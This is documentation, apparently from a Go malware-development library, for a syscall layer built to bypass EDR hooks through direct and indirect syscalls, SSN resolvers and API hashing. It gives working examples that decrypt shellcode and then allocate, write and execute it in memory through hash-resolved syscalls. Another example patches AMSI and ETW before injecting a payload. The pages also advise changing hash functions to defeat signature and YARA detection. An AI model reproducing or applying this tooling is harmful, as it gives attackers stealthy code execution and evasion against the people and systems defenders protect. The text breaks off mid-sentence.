The win/syscall package composes three orthogonal concerns
behind a single *Caller. Operators tune each axis independently;
downstream packages (inject/*, evasion/*, c2/shell) accept a
*Caller and inherit the chosen posture without recompiling.
Primer — vocabulary
Eight terms recur throughout the syscalls/* pages:
Syscall — direct kernel transition (
syscallinstruction on x64). The actual mechanism Windows uses to call into the kernel; everything else (Win32, NTAPI) is a wrapper that eventually issues a syscall.NTAPI —
ntdll.dll's Nt* functions (NtAllocateVirtualMemory,NtCreateThreadEx, …). Thin userland wrappers around the syscall instruction. Every Win32 API call (VirtualAlloc,CreateThread) eventually bottoms out in an NTAPI call.SSN (System Service Number) — the integer index of a syscall in the kernel's service table. Hardcoded in each ntdll prologue. Rotates between Windows builds —
NtAllocateVirtualMemoryis SSN 0x18 on one build, 0x19 on the next.Userland hook — inline patch (typically
JMP rel32) an EDR installs at the start of an NTAPI prologue so it can inspect arguments before the syscall fires. "Bypassing hooks" means issuing the syscall without going through the patched bytes.Direct syscall — issuing the
syscallinstruction from your own code with the SSN you obtained somehow. Skips the (possibly hooked) ntdll prologue entirely.Indirect syscall — calling INTO ntdll's
syscallinstruction (which lives at a fixed offset past the prologue). Trades direct-syscall's "RIP outside ntdll" tell for "uses the canonical syscall site". EDRs scanning for syscall instructions in non-ntdll memory miss this.API hashing — replacing string lookups (
"NtAllocateVirtualMemory") with constant integer hashes (0xE0762FEA) so the implant's.rdatadoesn't carry plaintext API names. ROR13 is the classical algorithm; Hellgate / HashGate use this internally to find Nt* exports.Hellsgate / Halosgate / Tartarus / HashGate / Chain — SSN-resolution strategies. Each has different fallbacks for when the canonical source (a clean ntdll prologue) is compromised. See ssn-resolvers.md.
Three concerns (read this first)
flowchart LR
subgraph callsite [Call site<br>e.g. inject.RemoteThread]
C["*wsyscall.Caller"]
end
subgraph axis1 [1. Calling method<br>HOW the syscall fires]
A1["MethodWinAPI / NativeAPI / Direct /<br>Indirect / IndirectAsm"]
end
subgraph axis2 [2. SSN resolver<br>WHERE the syscall number comes from]
A2["HellsGate / HalosGate / Tartarus /<br>HashGate / Chain"]
end
subgraph axis3 [3. API hashing<br>HOW the symbol is found without a string]
A3["ROR13 / FNV / Jenkins / custom HashFunc"]
end
C --> A1
C --> A2
A2 --> A3
The three axes answer different questions:
| Axis | Question it answers | Pages |
|---|---|---|
| 1 — Calling method | How does the implant issue the syscall once the SSN is known? Which userland boundary do we cross / skip? | direct-indirect.md |
| 2 — SSN resolver | Where does the SSN come from? What happens when the canonical source (the unhooked ntdll prologue) is unavailable? | ssn-resolvers.md |
| 3 — API hashing | How do we identify the right Nt* export without a plaintext name in the binary? | api-hashing.md |
Tuning one axis does NOT imply tuning the others. You can:
- pick
MethodIndirect(axis 1) withHellsGate(axis 2) — no api-hashing. - pick
MethodWinAPI(axis 1) withHashGate(axis 2 — uses axis 3 internally). - swap the hash function on
HashGate(axis 3) without touching axis 1 / 2.
Architecture Overview
graph TD
subgraph "Consumer Packages"
INJ[inject/]
EVA[evasion/]
C2[c2/shell]
end
subgraph "win/syscall"
CALLER["*Caller"]
CALLER -->|method| WINAPI[MethodWinAPI]
CALLER -->|method| NATIVE[MethodNativeAPI]
CALLER -->|method| DIRECT[MethodDirect]
CALLER -->|method| INDIRECT[MethodIndirect]
CALLER -->|resolver| HG[HellsGate]
CALLER -->|resolver| HAG[HalosGate]
CALLER -->|resolver| TG[TartarusGate]
CALLER -->|resolver| HGR[HashGate]
CALLER -->|resolver| CH[Chain]
end
subgraph "win/api"
PEB["PEB Walk"]
HASH["API Hashing"]
RESOLVE["ResolveByHash"]
end
INJ -->|"*Caller (nil = WinAPI)"| CALLER
EVA -->|"*Caller (nil = WinAPI)"| CALLER
C2 -->|"*Caller (nil = WinAPI)"| CALLER
HGR --> PEB
HGR --> HASH
RESOLVE --> PEB
RESOLVE --> HASH
Quick Reference
| Method | Hook Bypass | Stack Clean | Memory Clean | Stealth |
|---|---|---|---|---|
| WinAPI | None | N/A | N/A | Lowest |
| NativeAPI | kernel32 | N/A | N/A | Low |
| Direct | All userland | No | No | Medium |
| Indirect | All userland | Yes | Yes | High (heap stub, RW↔RX cycle) |
| IndirectAsm | All userland | Yes | Yes | Highest (Go-asm stub, no writable code) |
| Resolver | Unhooked ntdll | JMP-hooked ntdll | Fully hooked ntdll | String-free |
|---|---|---|---|---|
| HellsGate | Yes | No | No | No |
| HalosGate | Yes | Yes (neighbor) | No | No |
| TartarusGate | Yes | Yes (trampoline) | Yes (neighbor fallback) | No |
| HashGate | Yes | No | No | Yes |
| Chain | Depends on composition | Depends on composition | Depends on composition | Depends |
Quick decision tree
| You want to… | Use |
|---|---|
| …call a Windows API with no plaintext name in the binary | api-hashing.md (HashGate) |
| …skip kernel32-level hooks but stay in ntdll | direct-indirect.md — MethodNativeAPI |
| …skip every userland hook (kernel32 + ntdll) | direct-indirect.md — MethodIndirect / MethodIndirectAsm |
…make the syscall return inside ntdll's .text (call-stack stealth) | direct-indirect.md — MethodIndirect family |
| …avoid any writable code page in the implant | direct-indirect.md — MethodIndirectAsm |
| …randomise the syscall return address per call | direct-indirect.md — gadget pool |
| …auto-fall-back when the target stub is hooked | ssn-resolvers.md — Halo's / Tartarus / Chain |
| …read the SSN even when the entire ntdll text section is hooked | ssn-resolvers.md — TartarusGate |
| …swap in your own hash function (defeat ROR13 fingerprints) | NewHashGateWith(fn) + Caller.WithHashFunc(fn) |
Documentation
| Document | Description |
|---|---|
| Direct & Indirect Syscalls | The five invocation methods (incl. Go-asm IndirectAsm) and when to use each |
| API Hashing | PEB walk + ROR13 hashing to eliminate plaintext strings |
| SSN Resolvers | Hell's Gate, Halo's Gate, Tartarus Gate, HashGate |
MITRE ATT&CK
| Technique | ID | Description |
|---|---|---|
| Native API | T1106 | Directly interact with the native OS API |
D3FEND Countermeasures
| Countermeasure | ID | Description |
|---|---|---|
| System Call Analysis | D3-SCA | Monitor syscall origins and patterns |
| Function Call Restriction | D3-FCR | Restrict dynamic function resolution |
See also
syscalls/api-hashing.md— string-free import resolutionsyscalls/direct-indirect.md— calling-method matrixsyscalls/ssn-resolvers.md— Hells/Halos/Tartarus/HashGatetokenstechniques (index) — sibling Layer-1 OS-primitive area
API Hashing (PEB Walk + ROR13)
MITRE ATT&CK: T1106 - Native API D3FEND: D3-FCR - Function Call Restriction
New to maldev syscalls? Read the syscalls/README.md vocabulary callout first (syscall, NTAPI, SSN, userland hook, direct/indirect, API hashing, gate-family resolvers).
What api-hashing is NOT
[!IMPORTANT]
api-hashingis only the symbol-resolution axis (concern #3 in README.md). It answers "how do I find the right export without a plaintext string?".It does not decide:
- how the syscall fires — that's the calling method (
MethodWinAPI/MethodNativeAPI/MethodDirect/MethodIndirect/MethodIndirectAsm). See direct-indirect.md.- where the SSN comes from — that's the SSN resolver (
HellsGate/HalosGate/TartarusGate/Chain). See ssn-resolvers.md.HashGateis the resolver that uses api-hashing to find the Nt* prologue.Tuning hashing alone does not give you a stealthier syscall — a hash-resolved
MethodWinAPIcall still goes through every kernel32/ntdll hook in the process. Pair api-hashing with the calling method and SSN resolver you want.
Primer
When your program calls VirtualAlloc, the string "VirtualAlloc" appears in the binary. Any analyst running strings on your executable can see exactly which dangerous APIs you use.
Instead of calling someone by name (which gets overheard), you use a coded number. API hashing converts function names like "NtAllocateVirtualMemory" into numeric hashes like 0xD33BCABD. Your binary only contains these numbers -- no readable strings. At runtime, the code walks the Process Environment Block (PEB) to find loaded DLLs and their exports, hashing each export name until it finds a match.
How It Works
flowchart TD
subgraph "Build Time"
FN["Function name:\nNtAllocateVirtualMemory"] -->|ROR13| HASH["Hash constant:\n0xD33BCABD"]
MN["Module name:\nKERNEL32.DLL"] -->|"ROR13 (wide + null)"| MHASH["Hash constant:\n0x50BB715E"]
end
subgraph "Runtime Resolution"
TEB["Thread Environment Block\n(GS:0x30)"] -->|"+0x60"| PEB["Process Environment Block"]
PEB -->|"+0x18"| LDR["PEB_LDR_DATA"]
LDR -->|"+0x10"| LIST["InLoadOrderModuleList"]
LIST --> WALK["Walk linked list"]
WALK --> MOD1["ntdll.dll\nBase: 0x7FFE..."]
WALK --> MOD2["KERNEL32.DLL\nBase: 0x7FFD..."]
WALK --> MOD3["...other DLLs"]
MOD2 -->|"Hash BaseDllName\ncompare with 0x50BB715E"| MATCH["Module found!"]
MATCH -->|"Parse PE headers"| EXPORTS["Export Directory"]
EXPORTS -->|"Walk AddressOfNames"| EWALK["Hash each export name"]
EWALK -->|"Compare with 0xD33BCABD"| FOUND["Function address found!"]
end
HASH -.->|"embedded in binary"| EWALK
MHASH -.->|"embedded in binary"| MOD2
style HASH fill:#a94,color:#fff
style MHASH fill:#a94,color:#fff
style FOUND fill:#4a9,color:#fff
PEB Walk Details
The PEB (Process Environment Block) contains a list of all loaded DLLs. On x64 Windows:
- TEB (Thread Environment Block) is at
GS:0x30 - PEB is at
TEB+0x60 - PEB_LDR_DATA is at
PEB+0x18 - InLoadOrderModuleList starts at
LDR+0x10
Each entry in the list is an LDR_DATA_TABLE_ENTRY containing:
+0x30: DllBase (the module's base address)+0x58: BaseDllName as UNICODE_STRING (Length, MaxLength, Buffer)
ROR13 Hashing
ROR13 (Rotate Right by 13 bits) is the de facto standard for shellcode API hashing:
For each character c in the name:
hash = (hash >> 13) | (hash << 19) // rotate right 13 bits
hash = hash + c // add character value
Two variants exist in maldev:
- ROR13 (
hash.ROR13): ASCII, no null terminator -- used for export names - ROR13Module (
hash.ROR13Module): UTF-16LE wide chars + null terminator -- used for PEB module names
Beyond ROR13 — defeating signature engines
Many EDR signature engines key on the canonical ROR13 constants
(0x6A4ABC5B for kernel32, 0x4FC8BB5A for LoadLibraryA, …).
If the engine sees those uint32s in a binary's .rdata, it
flags the file regardless of the runtime behaviour.
Pivoting to a different hash family makes the implant's
constants statically distinct. The hash package ships:
| Function | Output | Notes |
|---|---|---|
hash.ROR13(name) | uint32 | Canonical shellcode hash; widest signature exposure. |
hash.JenkinsOAAT(name) | uint32 | Bob Jenkins one-at-a-time + avalanche tail; cheap, no division, slightly better avalanche than ROR13. |
hash.FNV1a32(name) | uint32 | FNV-1a 32-bit; matches hash/fnv byte-for-byte. |
hash.FNV1a64(name) | uint64 | FNV-1a 64-bit. |
hash.DJB2(name) | uint32 | Bernstein hash * 33 + c; classic, weaker on short inputs. |
hash.CRC32(name) | uint32 | IEEE polynomial; backed by hash/crc32 table. |
Compose with win/syscall:
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)
Both ends MUST agree: NewHashGateWith(fn) for the resolver,
WithHashFunc(fn) for any CallByHash call. Pre-compute the
hash constants once at build time (or via a go generate step)
to keep the binary string-free.
cmd/hashgen — generate the constants
Use the in-tree CLI to emit const Hash<Algo><Symbol> = 0x…
declarations for any of the 7 supported algorithms (ror13,
ror13module, fnv1a32, fnv1a64, jenkins, djb2, crc32):
go run ./cmd/hashgen -algo jenkins -package winhashes \
LoadLibraryA GetProcAddress NtAllocateVirtualMemory > winhashes/winhashes_gen.go
Or, for go generate-style integration, drop a stanza like the
following into a stub file and check the generated output into git:
//go:generate go run ../../cmd/hashgen -algo jenkins -package winhashes -o winhashes_gen.go LoadLibraryA GetProcAddress
This keeps the runtime cost zero (no hashing on each process start) and the binary string-free.
PE Export Resolution
Once the module base is found, the code parses the PE export directory:
- Read
e_lfanewat offset0x3Cto find the PE header - Navigate to
DataDirectory[0](export directory) at PE header+24+112 - Walk
AddressOfNames, hash each name, compare with target hash - On match, read the ordinal from
AddressOfNameOrdinalsand the RVA fromAddressOfFunctions
Usage
ResolveByHash: Find a Function Address
import "github.com/oioio-space/maldev/win/api"
// Resolve LoadLibraryA in KERNEL32.DLL -- no strings in binary
addr, err := api.ResolveByHash(api.HashKernel32, api.HashLoadLibraryA)
if err != nil {
log.Fatal(err)
}
// addr is now the function pointer for LoadLibraryA
CallByHash: Execute a Syscall by Hash
import (
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// NtAllocateVirtualMemory via hash -- zero plaintext function names
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
HashGateResolver: SSN Resolution by Hash
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// HashGate resolves SSNs via PEB walk -- no LazyProc.Find() calls
resolver := wsyscall.NewHashGate()
ssn, err := resolver.Resolve("NtCreateThreadEx")
// ssn is the syscall service number (e.g., 0xC1)
Pre-Computed Hash Constants
// Module hashes (ROR13Module of BaseDllName in PEB)
api.HashKernel32 // 0x50BB715E "KERNEL32.DLL"
api.HashNtdll // 0x411677B7 "ntdll.dll"
api.HashAdvapi32 // 0x9CB9105F "ADVAPI32.dll"
api.HashUser32 // 0x51319D6F "USER32.dll"
api.HashShell32 // 0x18D72CAC "SHELL32.dll"
// Function hashes (ROR13 of ASCII export name)
api.HashLoadLibraryA // 0xEC0E4E8E
api.HashGetProcAddress // 0x7C0DFCAA
api.HashVirtualAlloc // 0x91AFCA54
api.HashNtAllocateVirtualMemory // 0xD33BCABD
api.HashNtProtectVirtualMemory // 0x8C394D89
api.HashNtCreateThreadEx // 0x4D1DEB74
api.HashNtWriteVirtualMemory // 0xC5108CC2
Combined Example: defeat ROR13 fingerprinting
A ROR13-only signature engine sees the canonical
api.HashLoadLibraryA = 0xEC0E4E8E constant in the binary's
.rdata and flags the file. Switching the entire stack to
JenkinsOAAT changes that constant to a fresh value the engine
never trained on:
package main
import (
"fmt"
"github.com/oioio-space/maldev/hash"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// Both ends MUST agree on the hash family.
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)
defer caller.Close()
// Pre-compute the funcHash at build time. JenkinsOAAT yields a
// different uint32 than ROR13 for the same name, so existing
// signature databases targeting the ROR13 constant don't match.
ntClose := hash.JenkinsOAAT("NtClose") // = 0x???????? (your build's value)
if _, err := caller.CallByHash(ntClose, 0); err != nil {
fmt.Println("syscall:", err)
}
}
hash.FNV1a32, hash.DJB2, hash.CRC32, and hash.FNV1a64
swap in identically — pick the family least represented in the
target signature corpus.
Combined Example: String-Free Injection
package main
import (
"unsafe"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// All function resolution via hashes -- no "NtAllocateVirtualMemory" string in binary
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// Decrypt shellcode (key would be derived at runtime in production)
key, _ := crypto.NewAESKey()
shellcode := []byte{/* ... */}
encrypted, _ := crypto.EncryptAESGCM(key, shellcode)
decrypted, _ := crypto.DecryptAESGCM(key, encrypted)
// Allocate memory via hash
var baseAddr uintptr
regionSize := uintptr(len(decrypted))
caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
// Write shellcode via hash
var bytesWritten uintptr
caller.CallByHash(api.HashNtWriteVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
baseAddr,
uintptr(unsafe.Pointer(&decrypted[0])),
uintptr(len(decrypted)),
uintptr(unsafe.Pointer(&bytesWritten)),
)
// Change protection via hash
var oldProtect uintptr
caller.CallByHash(api.HashNtProtectVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(®ionSize)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
// Execute via hash
var threadHandle uintptr
caller.CallByHash(api.HashNtCreateThreadEx,
uintptr(unsafe.Pointer(&threadHandle)),
0x1FFFFF, 0, uintptr(0xFFFFFFFFFFFFFFFF),
baseAddr, 0, 0, 0, 0, 0, 0,
)
windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE)
}
Advantages & Limitations
Advantages
- No plaintext strings:
stringsand YARA rules targeting API names find nothing - No IAT entries: Functions resolved at runtime are invisible in the Import Address Table
- Composable: HashGate works as an SSNResolver in the Chain pipeline
- Lazy init: ntdll base address resolved once via
sync.Once, cached for all subsequent calls
Limitations
- ROR13 collisions: Theoretically possible (32-bit hash space), though none exist for common NT function names
- PEB walk detectable: ETW providers and some EDRs monitor PEB traversal patterns
- Hash constants are signatures: Known ROR13 values (e.g.,
0xD33BCABDfor NtAllocateVirtualMemory) become YARA targets themselves — switch families (hash.JenkinsOAAT/hash.FNV1a32/hash.DJB2/hash.CRC32) to render those signatures useless against your binary.NewHashGateWith(fn)andCaller.WithHashFunc(fn)recompute thentdll.dllmodule-name hash viafnat construction time, so the ROR13Module fingerprint constant0x411677B7no longer appears in binaries built with a non-ROR13 family — the swap is end-to-end, not function-only - No pre-computed Hash* constants for non-ROR13 families:
win/api.HashKernel32/HashLoadLibraryA/ etc. are ROR13-only. When pairingwsyscall.NewHashGateWith(hash.JenkinsOAAT)withCaller.CallByHash, callers compute the funcHash at build time themselves. Acmd/hashgengo generatestep that emits per-family constant tables is queued under backlog row P2.24. - Requires loaded modules: Can only resolve functions from DLLs already in the PEB -- cannot load new DLLs by hash alone
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/hash is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Syscalls area README
syscalls/ssn-resolvers.md— the resolver chain that uses these hashessyscalls/direct-indirect.md— the calling-method side of the same Caller seam
Direct & Indirect Syscalls
MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis
New to maldev syscalls? Read the syscalls/README.md vocabulary callout first (syscall, NTAPI, SSN, userland hook, direct/indirect, API hashing, gate-family resolvers).
What direct/indirect syscalls is NOT
[!IMPORTANT] Direct/indirect syscalls is only the calling-method axis (concern #1 in README.md). It answers "how do I issue the syscall — through kernel32, through ntdll, or straight from the implant's own page?".
It does not decide:
- where the SSN comes from — that's the SSN resolver (ssn-resolvers.md).
MethodDirect/MethodIndirect/MethodIndirectAsmall consume an SSN they didn't compute themselves.- how the Nt* export is found — that's api-hashing.md. The calling method is identical whether the symbol came from a string lookup or a ROR13 hash.
Picking
MethodIndirectAsmalone does not make your implant string-free or hook-resilient against pre-injection ntdll patches — pair it withHashGate(resolver) for the full stack.
Primer
When your program needs Windows to do something (allocate memory, create a thread), it normally goes through the official front desk -- kernel32.dll and ntdll.dll. EDR products stand at this front desk, logging every request.
Instead of going through the official front desk (which logs everything), you find a back door. Direct syscalls build a tiny instruction that talks to the kernel directly, skipping the hooked ntdll code entirely. Indirect syscalls go one step further: they make it look like the call came from ntdll, even though your code initiated it -- like sneaking in the back door but leaving footprints that look like they came from the front.
How It Works
Every NT function in ntdll follows the same x64 pattern:
mov r10, rcx ; save first arg (kernel expects r10, not rcx)
mov eax, <SSN> ; load the Syscall Service Number
syscall ; transition to kernel mode
ret
The SSN is an index into the kernel's System Service Descriptor Table (SSDT). EDR products hook these functions by overwriting the prologue bytes with a JMP to their monitoring code.
The five methods in win/syscall differ in how they reach the syscall instruction:
flowchart LR
subgraph "WinAPI / NativeAPI"
A1[Your Code] -->|"LazyProc.Call()"| A2[kernel32.dll]
A2 --> A3[ntdll.dll]
A3 -->|"syscall"| A4[Kernel]
A3 -.->|"EDR hook"| EDR1[EDR Monitor]
end
subgraph "Direct Syscall"
B1[Your Code] -->|"SSN resolved"| B2["Private stub\n(mov eax,SSN; syscall; ret)"]
B2 -->|"syscall from\nprivate memory"| B3[Kernel]
B2 -.->|"Detectable:\nsyscall outside ntdll"| EDR2[Memory Scanner]
end
subgraph "Indirect Syscall"
C1[Your Code] -->|"SSN resolved"| C2["Private stub\n(mov eax,SSN; jmp r11)"]
C2 -->|"jmp to ntdll\nsyscall;ret gadget"| C3["ntdll.dll\n(0F 05 C3)"]
C3 -->|"syscall from\nntdll address space"| C4[Kernel]
end
style EDR1 fill:#f66,color:#fff
style EDR2 fill:#f96,color:#fff
Method Comparison
graph TD
Q{Need to bypass<br>EDR hooks?}
Q -->|No| WINAPI["MethodWinAPI<br>Standard, maximum compatibility"]
Q -->|Yes| Q2{EDR hooks<br>kernel32 only?}
Q2 -->|Yes| NATIVE["MethodNativeAPI<br>Bypass kernel32, call ntdll directly"]
Q2 -->|No| Q3{EDR performs<br>call-stack analysis?}
Q3 -->|No| DIRECT["MethodDirect<br>Private syscall stub"]
Q3 -->|Yes| INDIRECT["MethodIndirect<br>JMP to ntdll gadget, cleanest stack"]
style WINAPI fill:#4a9,color:#fff
style NATIVE fill:#49a,color:#fff
style DIRECT fill:#a94,color:#fff
style INDIRECT fill:#94a,color:#fff
| Method | Constant | Bypass kernel32 | Bypass ntdll | Survive memory scan | Survive stack analysis | Per-call VirtualProtect |
|---|---|---|---|---|---|---|
| WinAPI | MethodWinAPI | No | No | N/A | N/A | No |
| NativeAPI | MethodNativeAPI | Yes | No | N/A | N/A | No |
| Direct | MethodDirect | Yes | Yes | No | No | Yes (RW↔RX) |
| Indirect | MethodIndirect | Yes | Yes | Yes | Yes | Yes (RW↔RX) |
| IndirectAsm | MethodIndirectAsm | Yes | Yes | Yes | Yes | No |
MethodIndirectAsm vs MethodIndirect
Both end the same way — syscall executes inside ntdll's .text from a randomly picked syscall;ret gadget — but the path to the gadget is different.
MethodIndirect builds a 21-byte stub (mov r10,rcx; mov eax,SSN; mov r11,gadget; jmp r11) into a heap page, flips the page RW→RX→RW around SyscallN, and returns. That heap page is writable code in the implant's address space, and the protection cycle calls VirtualProtect twice per syscall — both are classic EDR signals.
MethodIndirectAsm ships the same logic as Go assembly inside the binary's .text section. SSN and gadget address are passed as register arguments — no patching, no writable code page, no VirtualProtect. The trade-off is that the stub lives at a fixed RVA inside the implant binary, so a YARA rule could match its bytes; mitigate by morphing the function or stripping symbols.
The gadget address is drawn at random per call from the full pool of 0F 05 C3 triples in ntdll (pickSyscallGadget), so successive syscalls from the same caller don't all return to the same RVA.
Usage
Basic: WinAPI (Default Fallback)
When *Caller is nil, consumer packages fall back to standard WinAPI:
import "github.com/oioio-space/maldev/inject"
// nil Caller = standard WinAPI path (no bypass)
pipe := inject.NewPipeline(nil)
Direct Syscalls with Hell's Gate
import (
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodDirect, wsyscall.NewHellsGate())
defer caller.Close()
// Call NtAllocateVirtualMemory directly -- bypasses all userland hooks
ret, err := caller.Call("NtAllocateVirtualMemory",
uintptr(0xFFFFFFFFFFFFFFFF), // ProcessHandle (-1 = current)
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
Indirect Syscalls with Tartarus Gate
import (
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Tartarus Gate handles JMP-hooked functions
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
ret, err := caller.Call("NtCreateThreadEx", /* args... */)
IndirectAsm + custom hash function
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// Build-time hash function — every binary built with a different `key`
// produces different funcHash constants, so static signatures on the
// well-known ROR13 values stop matching.
fnv1a := func(s string) uint32 {
h := uint32(2166136261)
for i := 0; i < len(s); i++ {
h ^= uint32(s[i])
h *= 16777619
}
return h
}
caller := wsyscall.New(
wsyscall.MethodIndirectAsm,
wsyscall.NewHashGateWith(fnv1a),
).WithHashFunc(fnv1a)
// fnv1a("NtAllocateVirtualMemory") is computed at build-time by the
// optimizer when fed a string constant — no plaintext name in .rdata.
ret, err := caller.CallByHash(fnv1a("NtAllocateVirtualMemory"), /* args */)
Both ends MUST agree: NewHashGateWith(fn) for the resolver to walk the export table, WithHashFunc(fn) for CallByHash to do the same lookup. Pass nil (or call NewHashGate()) for the default ROR13 path.
String-Free: CallByHash
import (
"github.com/oioio-space/maldev/win/api"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// No plaintext function name in the binary -- only a uint32 hash constant
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
Combined Example: Injection + Evasion + Indirect Syscalls
package main
import (
"log"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// 1. Create an indirect syscall caller with resilient SSN resolution
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(
wsyscall.NewTartarus(), // try JMP-hook trampoline first
wsyscall.NewHalosGate(), // fall back to neighbor scanning
),
)
defer caller.Close()
// 2. Apply evasion techniques through the same caller
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
}, caller)
// 3. Decrypt payload
key := []byte("your-32-byte-AES-key-here!!!!!!")
encPayload := []byte{/* encrypted shellcode */}
shellcode, _ := crypto.DecryptAESGCM(key, encPayload)
// 4. Inject using indirect syscalls for all NT calls
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { log.Fatal(err) }
if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}
Advantages & Limitations
Advantages
- Transparent bypass: Consumer packages pass
*Caller-- same code works with WinAPI or indirect syscalls - RW/RX cycling: Stub pages are allocated RW, cycled to RX for execution, then back to RW -- no permanent RWX
- Pre-allocated stubs: One VirtualAlloc per Caller lifetime, not per call -- reduces API call noise
- Composable: Chain resolvers for maximum resilience against partial hooking
Limitations
- Direct syscalls: The
syscallinstruction at a non-ntdll address is trivially detectable by memory scanners - Indirect syscalls: Still require a
jmpgadget in ntdll -- if ntdll is entirely remapped, gadget scanning fails - SSN stability: SSNs change between Windows versions -- resolvers must run at runtime, not compile time
- x64 only: The stub layouts and PEB offsets are hardcoded for x86-64
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/syscall is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Syscalls area README
syscalls/api-hashing.md— string-free import resolution for the Direct/Indirect pathsyscalls/ssn-resolvers.md— SSN extraction strategies plugged into the Caller
SSN Resolvers: Hell's Gate, Halo's Gate, Tartarus Gate, HashGate
MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis
New to maldev syscalls? Read the syscalls/README.md vocabulary callout first (syscall, NTAPI, SSN, userland hook, direct/indirect, API hashing, gate-family resolvers).
What SSN resolvers are NOT
[!IMPORTANT] SSN resolvers is only the syscall-number-discovery axis (concern #2 in README.md). It answers "where does the syscall service number come from when the canonical source (the unhooked ntdll prologue) is unavailable?".
It does not decide:
- how the syscall fires once the SSN is known — that's the calling method (direct-indirect.md).
HellsGateis happy to feed an SSN toMethodWinAPI— the call still goes through every hook.- how the Nt* export is identified — that's api-hashing.md.
HashGateis the resolver that uses api-hashing internally; the rest still need a plaintext name.Switching from
HellsGatetoTartarusGatedoes not change what hooks see; it only changes where the SSN was read. Pair the resolver with the calling method that matches your stealth target.
Primer
Every Windows kernel function has a secret number called the SSN (Syscall Service Number). When you want to call the kernel directly (bypassing EDR hooks), you need to know this number. The problem is, these numbers are not documented and change between Windows versions.
Each NT function has a secret number -- these resolvers figure out the number even when guards try to hide it. Think of it like a secret menu at a restaurant. Hell's Gate reads the number directly from the menu (if nobody has covered it up). Halo's Gate checks the neighboring items on the menu to figure out what your item's number must be. Tartarus Gate follows the "see other page" redirect that the guards placed over the menu. HashGate uses a codebook to find the menu item without even knowing its name.
How It Works
Every resolver answers the same question — "what SSN does NtXxx map to on this host?" — but with different assumptions about how tampered the in-process ntdll is.
flowchart LR
A["Need SSN for NtXxx"] --> B[Resolver.Resolve]
B --> C[ntdll base via<br>GetProcAddress or PEB walk]
C --> D[Read function prologue]
D --> E{Intact?<br>4C 8B D1 B8}
E -->|Yes| F[SSN = bytes 4-5]
E -->|No| G[Strategy fallback:<br>neighbors / JMP follow / hash]
G --> F
F --> H[caller.Call builds<br>syscall stub]
- Hell's Gate — read
mov eax, imm32directly from the unhooked prologue. Fastest, fails on any hooked function. - Halo's Gate — target hooked? scan neighbours (±500 stubs × 32 bytes). Since SSNs are sequential in ntdll, an unhooked neighbour N stubs away implies
target_SSN = neighbour_SSN ± N. - Tartarus' Gate — target patched with
E9 xx xx xx xxorEB xx? follow the JMP into the EDR trampoline; most trampolines restoremov eax, imm32before the realsyscallinstruction. - Hash-based (HashGate) — resolve the function address itself via PEB walk + ROR13 export hashing. No
